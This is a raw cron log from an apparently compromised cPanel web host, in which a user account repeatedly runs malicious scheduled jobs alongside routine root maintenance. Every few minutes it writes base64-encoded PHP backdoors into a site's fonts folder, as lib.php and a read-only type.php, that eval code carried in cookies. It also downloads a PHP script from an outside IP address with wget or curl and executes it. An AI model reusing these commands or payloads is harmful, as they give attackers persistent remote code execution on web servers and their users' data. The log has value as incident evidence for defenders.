Sep  1 10:49:01 ip-184-168-122-23 CROND[8283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:49:01 ip-184-168-122-23 CROND[8282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:50:01 ip-184-168-122-23 CROND[8444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:50:01 ip-184-168-122-23 CROND[8446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:50:01 ip-184-168-122-23 CROND[8447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:50:01 ip-184-168-122-23 CROND[8449]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 10:50:01 ip-184-168-122-23 CROND[8453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:50:01 ip-184-168-122-23 CROND[8450]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:50:01 ip-184-168-122-23 CROND[8451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:50:01 ip-184-168-122-23 CROND[8454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:50:01 ip-184-168-122-23 CROND[8455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:51:01 ip-184-168-122-23 CROND[8735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:51:01 ip-184-168-122-23 CROND[8739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:51:01 ip-184-168-122-23 CROND[8740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:51:01 ip-184-168-122-23 CROND[8737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:52:01 ip-184-168-122-23 CROND[8938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:52:01 ip-184-168-122-23 CROND[8940]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:52:01 ip-184-168-122-23 CROND[8943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:52:01 ip-184-168-122-23 CROND[8941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:52:01 ip-184-168-122-23 CROND[8942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:53:01 ip-184-168-122-23 CROND[9088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:53:01 ip-184-168-122-23 CROND[9087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:53:01 ip-184-168-122-23 CROND[9092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:53:01 ip-184-168-122-23 CROND[9091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:54:01 ip-184-168-122-23 CROND[9255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:54:01 ip-184-168-122-23 CROND[9257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:54:01 ip-184-168-122-23 CROND[9258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:54:01 ip-184-168-122-23 CROND[9256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:54:01 ip-184-168-122-23 CROND[9259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:55:01 ip-184-168-122-23 CROND[9455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:55:01 ip-184-168-122-23 CROND[9458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:55:01 ip-184-168-122-23 CROND[9456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:55:01 ip-184-168-122-23 CROND[9457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:55:01 ip-184-168-122-23 CROND[9459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:55:01 ip-184-168-122-23 CROND[9460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:56:01 ip-184-168-122-23 CROND[9547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:56:01 ip-184-168-122-23 CROND[9550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:56:01 ip-184-168-122-23 CROND[9549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:56:01 ip-184-168-122-23 CROND[9548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:56:01 ip-184-168-122-23 CROND[9552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:57:01 ip-184-168-122-23 CROND[9744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:57:01 ip-184-168-122-23 CROND[9745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:57:01 ip-184-168-122-23 CROND[9747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:57:01 ip-184-168-122-23 CROND[9746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:58:01 ip-184-168-122-23 CROND[9866]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:58:01 ip-184-168-122-23 CROND[9868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:58:01 ip-184-168-122-23 CROND[9871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:58:01 ip-184-168-122-23 CROND[9870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:58:01 ip-184-168-122-23 CROND[9872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:59:01 ip-184-168-122-23 CROND[9980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:59:01 ip-184-168-122-23 CROND[9979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:59:01 ip-184-168-122-23 CROND[9982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:59:01 ip-184-168-122-23 CROND[9983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:00:01 ip-184-168-122-23 CROND[10101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:00:01 ip-184-168-122-23 CROND[10106]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:00:01 ip-184-168-122-23 CROND[10108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:00:01 ip-184-168-122-23 CROND[10109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:00:01 ip-184-168-122-23 CROND[10111]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:00:01 ip-184-168-122-23 CROND[10107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:00:01 ip-184-168-122-23 CROND[10110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:00:01 ip-184-168-122-23 CROND[10105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:01:01 ip-184-168-122-23 CROND[10224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:01:01 ip-184-168-122-23 CROND[10227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:01:01 ip-184-168-122-23 CROND[10230]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 11:01:01 ip-184-168-122-23 CROND[10229]: (root) CMD (run-parts /etc/cron.hourly)
